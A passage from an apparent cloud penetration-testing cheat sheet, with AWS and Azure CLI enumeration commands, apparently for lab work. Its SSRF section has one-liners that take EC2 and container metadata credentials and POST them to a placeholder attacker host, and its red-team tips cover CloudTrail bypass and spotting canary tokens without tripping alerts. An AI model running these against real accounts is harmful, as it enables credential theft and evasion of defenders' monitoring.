aws dynamodb describe-table --profile $profile --table-name ""
```

### ECR

[Source ](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.html#enumeration)& [Post-Exploitation](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/index.html#login-pull--push)

### ECS

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.html#enumeration)

```bash
aws ecs list-clusters --query clusterArns --profile $profile
aws ecs list-container-instances --profile $profile  --cluster ""

aws ecs describe-container-instances \
    --query 'containerInstances[*].{InstanceID: ec2InstanceId,Agent: agentConnected,Attributes: attributes[?value != `null` && value != ``].{Name:name, Value:value}}' \
    --output json \
    --profile $profile \
    --cluster "" \
    --container-instances "" 
    
aws ecs list-tasks --query taskArns --profile $profile --cluster ""

aws ecs describe-tasks \
    --query 'tasks[*].{ TaskId: taskArn, ExecuteCommand: enableExecuteCommand, LastStatus: lastStatus, Containers: containers[*].{Name:name, RuntimeId:runtimeId, Privileged:privileged}, Overrides: overrides.containerOverrides[*].{Name:name, Env:environment}, ENI: attachments[?type==`ElasticNetworkInterface`].details[?name==`networkInterfaceId`].value | [0] }' \
    --profile $profile \
    --cluster "" \
    --tasks ""
```

### ElasticBeanStalk

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.html#enumeration)

```bash
aws elasticbeanstalk describe-applications \
	 --query 'Applications[*].{Name:ApplicationName, Arn:ApplicationArn, Versions:Versions, ConfigurationTemplates:ConfigurationTemplates}' \
--profile $profile

aws elasticbeanstalk describe-application-versions \
    --query 'ApplicationVersions[*].{Version:VersionLabel, Bucket:SourceBundle.S3Bucket, Key:SourceBundle.S3Key, Date:DateCreated}' \
    --output table \
    --profile $profile \
    --application-name "<YourAppName>" \


aws elasticbeanstalk describe-environments \
    --query 'Environments[*].{Name:EnvironmentName, URL:CNAME,EndpointURL:EndpointURL, ApplicationName:ApplicationName,VersionLabel:VersionLabel, PlatformArn: PlatformArn, Tier:Tier, EnvironmentLinks:EnvironmentLinks, Status:Status, Health:Health}' \
    --profile $profile  \
    --application-name "<ApplicationName>"

```

### Codebuild

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.html#enumeration)

```bash
aws codebuild list-projects --profile $profile

aws codebuild batch-get-projects \
    --query 'projects[*].{
        Name: name,
        Description: description,
        Source: source.{Type:type, Location:location, Buildspec:buildspec},
        Role: serviceRole,
        Privileged: environment.privilegedMode,
        Env: environment,
        Vpc: vpcConfig.vpcId,
        encryptionKey: encryptionKey
    }' --output json \
    --profile $profile \
    --names exam_1_project
    
    
aws codebuild list-source-credentials --profile $profile
aws codebuild list-builds-for-project --profile $profile --project-name ""
aws codebuild batch-get-builds --profile $profile --ids "" 

```

### SQS

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.html#enumeration)

```bash
aws sqs list-queues --query QueueUrls --profile $profile
aws sqs get-queue-attributes --profile $profile --attribute-names All  --queue-url ""
```

### SNS

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-sns-enum.html#enumeration)

```bash
aws sns list-topics --query Topics --profile $profile 

aws sns get-topic-attributes --profile $profile --region us-east-1 --topic-arn ""

aws sns subscribe --profile $profile --protocol https --topic-arn <TopicArn> --notification-endpoint https://<YOUR_NGROK_ID>.ngrok-free.app 
```

### Cognito

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/index.html#enumeration)

```
aws cognito-idp list-user-pools --max-results 10 --profile $profile

```

### Schedulers

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.html#enumeration)

### API Gateway

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.html#enumeration)

### Step Functions

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.html#enumeration)

## SSRF inside AWS

[Enumeration Commands](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html)

If you can perform an SSRF attack inside an AWS EC2 instance, container, lambda function or elastik server, you can retrieve its temporal credentials.

**EC2 Creds - IMDSv1 || Elastic Beanstalk**

```bash
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/); curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE | curl -X POST -d @- http://<IP>:<PORT>/
```

**EC2 Creds - IMDSv2**

```bash
TOKEN=$(curl -sqk -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"); ROLE=$(curl -sqk -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/iam/security-credentials/); curl -sqk -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE | curl -X POST -d @- http://<IP>:<PORT>/
```

**EC2 User-data**

```
http://169.254.169.254/latest/user-data
```

**Lambda**

```bash
file:///proc/self/environ
```

**Containers metadata**

```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```

## Tools

**Pentesting/Red Teaming**:

* [**confused-binary/aws-enumerator**](https://github.com/confused-binary/aws-enumerator): A Go-based tool designed for service enumeration and data dumping during black-box testing to speed up the review of compromised AWS accounts.
* [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate): A Python script that identifies an AWS user's permissions by performing batch simulations of API actions using the `SimulatePrincipalPolicy` method.
* [**aws-Perms2ManagedPolicies**](https://github.com/carlospolop/aws-Perms2ManagedPolicies): A utility that compares a list of discovered permissions against existing AWS managed policies to identify which policies might be granting those permissions.
* [**CloudPEASS**](https://github.com/peass-ng/CloudPEASS): Part of the PEASS-ng suite, this tool is designed for automated cloud privilege escalation scanning across AWS, Azure, and GCP.
* [**Pacu**](https://github.com/RhinoSecurityLabs/pacu): Metasploit for AWS

**Audit related**

* [**cloudfox**](https://github.com/BishopFox/cloudfox): An offensive security tool for penetration testers to discover exploitable attack paths and gain situational awareness in unfamiliar cloud environments.
* [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): A multi-cloud security auditing tool that automates the collection of configuration data and generates an HTML report highlighting security risks.
* [**tfstate2IAM**](https://github.com/carlospolop/tfstate2IAM): A Python tool that parses Terraform state files in S3 buckets to extract IAM entities (users, roles, policies), providing insight into permissions without requiring direct IAM read access.

## Red Team Tips

### Cloud Trail Bypasses

[Bypass Detection](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.html#bypass-detection)

[EKS Post Exploitation](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/index.html#bypass-cloudtrail)

### Discovering Canary Tokens

The best way to identify canary tokens without triggering an alerts is by adding that token to a profile and perform requests against a resource outside of the attacking organization. Example:

```
aws --profile canary sns publish --topic-arn arn:aws:sns:us-east-1:947247140022:aa --message asdasd --region us-east-1

An error occurred (AuthorizationError) when calling the Publish operation: User: arn:aws:iam::717712589309:user/canarytokens.com@@xjzpd7wuds5oanjm7wrg1rp1m is not authorized to perform: SNS:Publish on resource: arn:aws:sns:us-east-1:947247140022:aa because no resource-based policy allows the SNS:Publish action
```

As a result, you can see that that user might be some canary token.


# Azure

## 1. Authentication & Setup

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-azuread.html#enumeration)

### User

```bash
export EMAIL=''
export PASSWORD=''
az login -u "$EMAIL" -p "$PASSWORD" [--allow-no-subscriptions]
export SUBSCRIPTION_ID=$(az account show --query id --output tsv)
export TENANT_ID=$(az account show --query tenantId --output tsv)
export MY_OID=$(az ad signed-in-user show --query id -o tsv)
```

### ARM (Service Principal Authentication)

```bash
export ARM_CLIENT_ID=''
export ARM_SECRET=''
export TENANT_ID='fdd066e1-ee37-49bc-b08f-d0e152119b04'
az login --service-principal -u "$ARM_CLIENT_ID" -p "$ARM_SECRET" --tenant "$TENANT_ID" [--allow-no-subscriptions]
export SUBSCRIPTION_ID=$(az account show --query id --output tsv)
export TENANT_ID=$(az account show --query tenantId --output tsv)
export MY_OID=$(az ad sp show --id $ARM_CLIENT_ID --query id -o tsv)
```

### Connection Information

Displays details of the currently authenticated user.

```bash
az ad signed-in-user show
```

Lists all subscriptions accessible by the current user

```bash
az account list --output table
```

## 2. Account Enumeration

### Groups

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-azuread.html#groups)

Retrieves every group in the tenant.

```bash
az ad group list -o table
```

Retrieve Azure AD groups and directory roles assigned to the current identity.

```bash
az rest --method get --url "https://graph.microsoft.com/v1.0/me/memberOf" --query "value[].{Name:displayName, ID:id}" -o table
```

Get groups where the user is a member

```bash
az ad user get-member-groups --id $TARGET_EMAIL
```

List dynamic Azure AD groups (membership rule-based)

```bash
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
```

### Roles

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-azuread.html#azure-roles)

Get **Entra ID** roles assigned and its definition (One Liner)

```bash
for TARGET_ROLE_ID in $(az rest --method get --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$filter=principalId eq '$MY_OID'" --query "value[].roleDefinitionId" -o tsv | sort -u); do
    echo -e "\n\n[+] Checking Entra ID Directory Role ID: $TARGET_ROLE_ID"
    az rest --method GET -o json \
      --query "{RoleName:displayName, Description:description, Actions:rolePermissions[].allowedResourceActions[]}" \
      --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/$TARGET_ROLE_ID"
done
```

Get Entra ID roles assigned and its definition (Manual)

```bash
az rest --method get --query "value[].{RoleID:roleDefinitionId, Scope:directoryScopeId}" -o table --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$filter=principalId eq '$MY_OID'"


# Get Role Definition Details
az rest --method GET -o json \
--query "{RoleName:displayName,Description:description, RoleID:id, Actions:rolePermissions[].allowedResourceActions[]}" \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/$TARGET_ROLE_ID"  
```

List **Azure Roles** & Show Role actions definitions for a given scope (One Liner)

```bash
az role assignment list --assignee "$MY_OID" --include-inherited --include-groups --all --query "[].{id:roleDefinitionId, scp:scope}" -o tsv | while read -r role_id scope; do
    echo -e "\n\033[1;34m==== Inspecting Role: ${role_id##*/} ====\033[0m"
    echo -e "\033[1;33m[+] Scope:\033[0m $scope"
    # Fetch definition using the ID we just pulled
    az role definition show --id "$role_id" --query "{Name:roleName, Description:description, Actions:permissions[0].actions, DataActions:permissions[0].dataActions}" -o json
done
```

List Azure Roles & Show Role actions definitions for a given scope (Manual)

```bash
az role assignment list --include-inherited --include-groups --all \
  --query "[].{RoleName:roleDefinitionName, RoleID:roleDefinitionId, Scope:scope, Type:principalType}" \
  -o json --assignee "$MY_OID" 

  # Get Role Definition Details
az role definition show \
  --query "{RoleName:roleName, Description:description, RoleID:id, Actions:permissions[0].actions, NotActions:permissions[0].notActions}" \
  -o json  --id $TARGET_ROLE_ID
```

Find Custom Azure Roles

```bash
az role definition list --custom-role-only true --query "[].{roleName:roleName, name:name, actions:permissions[0].actions, dataActions:permissions[0].dataActions}"
```

### Service Principals

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-azuread.html#service-principals)

```bash
az ad sp list --all -o table \
  --query "[].{Name:displayName, ObjectId:id, AppId:appId, Type:servicePrincipalType, Enabled:accountEnabled, RedirectURIs:replyUrls}"   

```

### Users

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-azuread.html#users)

Enumerate EntraID Users

```bash
az ad user list --output table --query "[].{ID:id,UserPrincipalName:userPrincipalName,DisplayName:displayName}"

az rest --method GET -o json --url "https://graph.microsoft.com/v1.0/users" --query "value[].{ID:id, UPN:userPrincipalName, Name:displayName}" -o table
```

## Resources

Get Resource List

```bash
az account set --subscription $SUBSCRIPTION_ID
az resource list --query "[].{Name:name, Type:type, ResourceGroup:resourceGroup}" --output table

# Through API REST
az rest --method GET --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resources?api-version=2021-04-01" \
  --query "value[].{Name:name, Type:type}" \
  -o table
```

Check what actions you can execute on every specific resource after all role inheritance and assignments are calculated.

```bash
RESOURCES_JSON=$(az rest --method GET --output json [--headers "Authorization=Bearer $MANAGEMENT_TOKEN"]\
  --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resources?api-version=2021-04-01")

# 2. Process each resource using jq
echo "$RESOURCES_JSON" | jq -c '.value[]' | while read -r resource; do
    # Extract variables from the JSON object
    RES_ID=$(echo "$resource" | jq -r '.id')
    RES_NAME=$(echo "$resource" | jq -r '.name')
    RES_TYPE=$(echo "$resource" | jq -r '.type')
    
    # Extract resource group from the resource ID string
    RES_RG=$(echo "$RES_ID" | sed -n 's/.*\/resourceGroups\/\([^\/]*\)\/.*/\1/p')

    # Visual separator
    echo "---"
    echo -e "\033[1;35m[#] Resource:\033[0m $RES_NAME"
    echo -e "\033[1;36m[+] Type:\033[0m      $RES_TYPE"
    echo -e "\033[1;32m[+] Group:\033[0m     $RES_RG"

    # 3. Fetch the permissions JSON using az rest and your manual token
    PERMS_JSON=$(az rest --method GET --output json [--headers "Authorization=Bearer $MANAGEMENT_TOKEN"]\
        --url "https://management.azure.com${RES_ID}/providers/Microsoft.Authorization/permissions?api-version=2022-04-01")

    # 4. Show standard Actions
    echo -e "\033[1;33m[!] Actions:\033[0m"
    echo "$PERMS_JSON" | jq -r '.value[].actions[]' 2>/dev/null | sort -u | sed 's/^/  - /'

    # 5. Show Data Actions
    echo -e "\033[1;33m[!] Data Actions:\033[0m"
    echo "$PERMS_JSON" | jq -r '.value[].dataActions[]' 2>/dev/null | sort -u | sed 's/^/  - /'
done
```

### Identities

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-azuread.html#managed-identities)

List managed identities in the resource group

```bash
az identity list -o table --resource-group $RESOURCE_GROUP 
```

### Storage accounts

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-storage.html#enumeration)

Enumerate storage accounts

```bash
az storage account list \
  --query "[].{Name:name, PublicAccess:allowBlobPublicAccess, HttpsOnly:enableHttpsTrafficOnly, MinTLS:minimumTlsVersion,IsHnsEnabled:isHnsEnabled, FTPEnabled:isSftpEnabled, LocalUserEnabled:isLocalUserEnabled, Firewall:networkRuleSet.defaultAction, BlobEndpoint:primaryEndpoints.blob, Location:location}" \
  -o table --resource-group $RESOURCE_GROUP
  
STORAGE_ACCOUNT_NAME=$(az storage account list --query "[0].name" -o tsv --resource-group $RESOURCE_GROUP)
```

In case case `Firewall` is set to "Deny", execute the following command to check the allowed roules.

```bash
az storage account show \
  --name $STORAGE_ACCOUNT_NAME \
  --resource-group $RESOURCE_GROUP \
  --query networkRuleSet \
  --output json
```

Enumerate keys

```bash
az storage account keys list \
  --resource-group $RESOURCE_GROUP \
  --account-name $STORAGE_ACCOUNT_NAME
  
ACCESS_KEY=$(az storage account keys list -g $RESOURCE_GROUP -n $STORAGE_ACCOUNT_NAME --query "[0].value" -o tsv)
```

#### Containers

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-storage.html#enumeration)

Enumerate storage containers for a given account

```bash
az storage container list --include-deleted \
--query "[].{Name:name, PublicAccess:properties.publicAccess, Metadata:metadata, LastModified:properties.lastModified,Deleted:deleted,Verion:version}" \
-o table --account-name $STORAGE_ACCOUNT_NAME \
[--auth-mode login | --account-key $ACCESS_KEY]
```

Enumerate files inside the container

```bash
az storage blob list \
  --include v \
  --query "[].{Name:name,VersionId:versionId, IsCurrent:isCurrentVersion, Size:properties.contentLength, Type:properties.contentType, LastModified:properties.lastModified, MD5:properties.contentSettings.contentMd5}" \
  --output table \
  --account-name $STORAGE_ACCOUNT_NAME --container-name <CONTAINER_NAME> \
  [--auth-mode login]
```

Download the file

```bash
az storage blob download \
--account-name $STORAGE_ACCOUNT_NAME \
--container-name <CONTAINER_NAME> \
--name <FILE_NAME> \
--file <DESTINATION_NAME> \
[--auth-mode login \]
[--version-id "2026-05-07T06:54:11.8141618Z" \]
```

Script to check all the storage accounts, its containers and the files inside them

```bash
export RESOURCE_GROUP=
export STORAGE_ACCOUNT_NAME=
# 1. Get all storage accounts in the resource group
az storage account list --resource-group $RESOURCE_GROUP --query "[].name" -o tsv | while read -r ACCOUNT_NAME; do
    echo -e "\n\033[1;32m============================================================\033[0m"
    echo -e "\033[1;32m[!] TARGET STORAGE ACCOUNT: $STORAGE_ACCOUNT_NAME\033[0m"
    
    # 2. Retrieve Important Security Information (Account Level)
    az storage account show --name "$STORAGE_ACCOUNT_NAME" --resource-group iam-azure-labs \
      --query "{Name:name, PublicAccess:allowBlobPublicAccess, FW_Default:networkRuleSet.defaultAction, BlobUrl:primaryEndpoints.blob}" -o table

    # 3. Enumerate Containers
    echo -e "\033[1;33m[+] Enumerating Containers for $STORAGE_ACCOUNT_NAME...\033[0m"
    CONTAINERS=$(az storage container list --account-name "$STORAGE_ACCOUNT_NAME" --auth-mode login --query "[].name" -o tsv 2>/dev/null)

    if [ -z "$CONTAINERS" ]; then
        echo -e "\033[0;31m    [-] Access Denied or No Containers Found.\033[0m"
    else
        for CONTAINER in $CONTAINERS; do
            echo -e "\n  \033[1;40m[#] CONTAINER: $CONTAINER\033[0m"
            
            # 4. Data Discovery: Retrieve Blobs (Files) within the container
            echo -e "  \033[1;36m[>] Files Found (Data Discovery):\033[0m"
            az storage blob list --account-name "$STORAGE_ACCOUNT_NAME" --container-name "$CONTAINER" \
              --auth-mode login --query "[].{FileName:name, Size:properties.contentLength, Type:properties.blobType, Modified:properties.lastModified}" -o table
        done
    fi
done
```

#### File Shares

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-file-shares.html#enumeration)

Enumerate Shares

```bash
az storage share list -o table \
  --include-snapshots --include-metadata \
  --query "[].{Name:name, Snapshot:snapshot, Modified:properties.lastModified, Metadata:metadata}" \
  --account-name $STORAGE_ACCOUNT_NAME \
  [--account-key $ACCESS_KEY]

az storage share-rm list --include-deleted -o table \
  --resource-group $RESOURCE_GROUP \
  --query "[].{Name:name, IsDeleted:deleted, Version:version, DateDeleted:deletedTime, DaysLeft:remainingRetentionDays}" \
  --account-name $STORAGE_ACCOUNT_NAME \
  [--account-key $ACCESS_KEY]
```

Enumerate Files inside the Dir

```bash
az storage file list -o table \
  --account-name $STORAGE_ACCOUNT_NAME \
  --share-name $SHARE_NAME  \
  [--account-key $ACCESS_KEY]
```

Download the file

```bash
az storage file download \
  --account-name $STORAGE_ACCOUNT_NAME \
  --share-name <SHARE_NAME> \
  --path <FILE_NAME> \
  --dest ./flag.txt \
  [--account-key $ACCESS_KEY]
```

Enumerate snapshots

```bash
az storage share snapshot \
  --name $SHARE_NAME \
  --account-name $STORAGE_ACCOUNT_NAME
```

For each snapshot in the share name, enumerate its files

```bash
#ACCOUNT_NAME=$1
SHARE_NAME=file-share-lab-4

SNAPSHOTS=$(az storage share list \
    --account-name "$STORAGE_ACCOUNT_NAME" \
    --include-snapshots \
    --query "[?name=='$SHARE_NAME' && snapshot != null].snapshot" \
    -o tsv)

if [ -z "$SNAPSHOTS" ]; then
    echo "No snapshots found for this share."
fi

## 2. Iterate through each snapshot and list the files
for SNAP in $SNAPSHOTS; do
    echo "----------------------------------------------------"
    echo "SNAPSHOT VERSION: $SNAP"
    echo "----------------------------------------------------"
    
    az storage file list \
        --account-name "$STORAGE_ACCOUNT_NAME" \
        --share-name "$SHARE_NAME" \
        --snapshot "$SNAP" \
        --output table
    
    echo -e "\n"
done
```

### Applications

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-azuread.html#applications)

Enumerate applcations and miss configurations

```bash
az rest --method get --url "https://graph.microsoft.com/v1.0/applications"   --query "value[].{Name:displayName, AppID:appId, ObjID:id, Public:isFallbackPublicClient, ImpAccess:web.implicitGrantSettings.enableAccessTokenIssuance, ImpID:web.implicitGrantSettings.enableIdTokenIssuance, Redirects:web.redirectUris[0]}"   -o table 
```

1. Implicit Grant (`ImpAccess` / `ImpID`)

* **The Risk:** If `enableAccessTokenIssuance` or `enableIdTokenIssuance` is `true`, the application is using the **Implicit Flow**.
* **Attack:** This flow is legacy and insecure. Tokens are returned directly in the URL fragment (after the `#`), making them susceptible to theft via browser history, logs, or Referer headers.

2. Public Client (`Public`)

* **The Risk:** If this is `true` (or `isFallbackPublicClient` is enabled), the application is considered a "Public Client" (like a mobile app or a script).
* **Attack:** These apps **do not require a Client Secret** to authenticate. If you find a valid username/password (via spraying), you can often authenticate directly against this App ID without needing a secret.

3. Redirect URIs (`Redirects`)

* **The Risk:** These are the URLs where Azure sends the auth token after login.
* **Attack:**
  * **Open Redirects:** If a URI is overly broad (e.g., `[https://example.com/](https://example.com/)*`), you might be able to craft a link that sends the token to a server you control.
  * **Subdomain Takeover:** If one of the listed URLs points to a dead subdomain, you can claim that subdomain and hijack any tokens sent to it.

4. Required Resource Access (Permissions)

If you want to see what this application is actually allowed to **do** (e.g., "Read all Mail," "Directory.ReadWrite.All"), add this to the query:

* `Perms:requiredResourceAccess[].resourceAccess[].id`

See the application's permissions and internal identifier URIs (great for finding internal domain names

```bash
az rest --method get --url "https://graph.microsoft.com/v1.0/applications" \
  --query "value[].{Name:displayName, AppID:appId, Identifiers:join(', ', identifierUris), Permissions:requiredResourceAccess[].resourceAccess}" \
  -o json
```

Identify the target app

```bash
APP_ID=$(az ad app list --query "[?contains(displayName, 'azure-applications-lab-1-phishing-app')].appId | [0]" -o tsv); echo "$APP_ID"
```

Identify users or service principals that have administrative rights over this application.

```bash
az ad app owner list \
  --query "[].{Name:displayName, Type:principalType, UPN:userPrincipalName, ID:id}" \
  -o table --id "$APP_ID"
```

### KeyVault

[More commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-keyvault.html#enumeration)

```bash
az keyvault list --resource-group $RESOURCE_GROUP --query "[].{Name:name, URI:properties.vaultUri, Public:properties.publicNetworkAccess, RBAC_Off:properties.enableRbacAuthorization, PolicyCount:length(properties.accessPolicies || '[]')}" --output table
```

Who has access to the key vault

```bash
az keyvault show --name $KEYVAULT_NAME --query "properties.accessPolicies[].{OID:objectId, Permissions:permissions.secrets}" --output table
```

Enumerate KeyVault keys

```bash
az keyvault key list --vault-name $KEYVAULT_NAME
```

Enumerate KeyVault secrets

```bash
az keyvault secret list --query "[].{name:name}" -o tsv --vault-name $KEYVAULT_NAME
```

### VMs

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/vms/index.html#vm-enumeration)

```bash
# If Error "does not have authorization to perform action 'Microsoft.Network/networkInterfaces/read" remove "--show-details"
az vm list --show-details --query "[].{Name:name, RG: resourceGroup, OS:storageProfile.osDisk.osType, PublicIP:publicIps, PrivateIP:privateIps, Status:powerState, Identity:identity.type, Size:hardwareProfile.vmSize}" --output table

```

Obtain Machine user identities

```bash
az vm show \
  --name "$VM_NAME" \
  --resource-group "$RESOURCE_GROUP" \
  --query "{SystemIdentityOID:identity.principalId, UserIdentities:identity.userAssignedIdentities}" \
  --output json
```

### Disks

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/vms/index.html#disks--snapshots)

```bash
az disk list --query "[].{
    Name: name,
    RG: resourceGroup,
    SizeGB: diskSizeGb,
    State: managedBy == \`null\` && 'UNATTACHED' || 'Attached',
    VM: managedBy,
    Encryption: encryption.type,
    NetworkPolicy: networkAccessPolicy,
    PublicAccess: publicNetworkAccess,
    CreatedFrom: creationData.sourceResourceId
}" --output table --resource-group "$RESOURCE_GROUP"
```

### Table Storage

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-table-storage.html#enumeration)

### MSSQL

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-sql.html#enumeration)

Enumerate servers

```bash
az sql server list --expand-ad-admin --query "[].{Name:name, FQDN:fullyQualifiedDomainName, PublicAccess:publicNetworkAccess,restrictOutboundNetworkAccess:restrictOutboundNetworkAccess, ResourceGroup:resourceGroup, Admin:administratorLogin, EntraAdmin:externalAdministrator.login, AdminType:externalAdministrator.principalType, AdminSID:externalAdministrator.sid}" --output table
```

Identify information from a given server

```bash
# List Server Usages
az sql server list-usages --name $SQL_SERVER --resource-group $RESOURCE_GROUP

# List Server Firewalls
az sql server firewall-rule list --output table \
  --query "[].{Rule:name, Start:startIpAddress, End:endIpAddress}" \
   --resource-group $RESOURCE_GROUP --server $SQL_SERVER

# List of Azure Active Directory administrators in a server.
az sql server ad-admin list --resource-group $RESOURCE_GROUP --server $SQL_SERVER --query "[].{Admin:login, Type:principalType, Tenant:tenantId, SID:sid}" --output table

 # Gets an advanced threat protection
az sql server advanced-threat-protection-setting show --resource-group $RESOURCE_GROUP --name $SQL_SERVER --output json
 # DNS Aliases
az sql server dns-alias list --resource-group $RESOURCE_GROUP --server $SQL_SERVER --query "[].{Alias:name}" --output table
 
 # Server Keys
az sql server key list --resource-group $RESOURCE_GROUP --server $SQL_SERVER --query "[].{KeyName:name, URI:uri, Type:serverKeyType}" --output table

 #Server Encryption Protecto
az sql server tde-key show --resource-group $RESOURCE_GROUP --server $SQL_SERVER --query "{KeyName:serverKeyName, Type:serverKeyType}" --output json


```

Obtian information from the database perspective

```bash
 # List databases
az sql db list --query "[].{Name:name, Status:status, Tier:sku.tier, Ledger:ledgerOn, InfraEncrypt:isInfraEncryptionEnabled, Backup:currentBackupStorageRedundancy}" --output table --server $SQL_SERVER --resource-group $RESOURCE_GROUP

 # List deleted SQL databases
az sql db list-deleted --server $SQL_SERVER --resource-group $RESOURCE_GROUP

 # DB Metada Info
az sql db show --name $DB_NAME --server $SQL_SERVER --resource-group $RESOURCE_GROUP --query "{Name:name, TDE:transparentDataEncryption.status, Ledger:ledgerConfiguration.ledgerState, Identity:identity.type, ZoneRedundant:zoneRedundant, CreateDate:creationDate,isInfraEncryptionEnabled:isInfraEncryptionEnabled}" --output json

 # DB Usage
az sql db list-usages --name $DB_NAME --server $SQL_SERVER --resource-group $RESOURCE_GROUP \
--query "[].{Metric:displayName, CurrentValue:currentValue, Limit:limit, Unit:unit}" \
--output table

 # Threat Policy 
az sql db threat-policy show --name $DB_NAME --server $SQL_SERVER --resource-group $RESOURCE_GROUP

 # Data Masking
az rest --method GET --uri "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Sql/servers/$SQL_SERVER/databases/$DB_NAME/dataMaskingPolicies/Default?api-version=2021-11-01" | jq .

az rest --method get --uri "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Sql/servers/$SQL_SERVER/databases/$DB_NAME/dataMaskingPolicies/Default/rules?api-version=2021-11-01" | jq .

 # Row Policies
sqlcmd -S $SQL_SERVER.database.windows.net -d $DB_NAME -U "$DB_USER" -P "$DB_PASSWORD" \
-W -s "," -Q "SELECT sp.name, sp.is_enabled, OBJECT_NAME(sp.object_id) AS TableName, sp2.predicate_definition FROM sys.security_policies AS sp JOIN sys.security_predicates AS sp2 ON sp.object_id = sp2.object_id;" \
| column -s, -t
```

### MySQL

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-mysql.html#enumeration)

Enumerate Database Servers

```bash
az mysql flexible-server list --output table --resource-group $RESOURCE_GROUP --query "[].{Server:name, FQDN:fullyQualifiedDomainName, Port:databasePort, Version:version, Admin:administratorLogin, PublicAccess:network.publicNetworkAccess, EntraAuth:authConfig.activeDirectoryAuth, HA:highAvailability.mode, Tier:sku.tier}" 
```

Enumerate Databases

```bash
az mysql flexible-server db list --output table\
  --query '[].{Name:name,collation:collation,resourceGroup:resourceGroup,systemData:systemData}' \
  --resource-group $RESOURCE_GROUP --server-name $SERVER_NAME
```

FIrewall Rules

```bash
az mysql flexible-server firewall-rule list --query "[].{RuleName:name, Start:startIpAddress, End:endIpAddress}" --output table \
--resource-group $RESOURCE_GROUP --name $SERVER_NAME
```

List AD admins and users

```bash
az mysql flexible-server ad-admin list --resource-group $RESOURCE_GROUP --server-name $SERVER_NAME
az mysql flexible-server identity list --resource-group $RESOURCE_GROUP --server-name $SERVER_NAME
```

List backups and replicas

```bash
az mysql flexible-server backup list --resource-group $RESOURCE_GROUP --name $SERVER_NAME

az mysql flexible-server replica list --resource-group $RESOURCE_GROUP --name $SERVER_NAME
```

**Enumerate Monitoring Mechanisms**

Get the server's advanced threat protection setting

```bash
az mysql flexible-server advanced-threat-protection-setting show --resource-group $RESOURCE_GROUP --server-name $SERVER_NAME
```

Audit Logging Enabled

```bash
az mysql flexible-server parameter show --name "audit_log_enabled" \
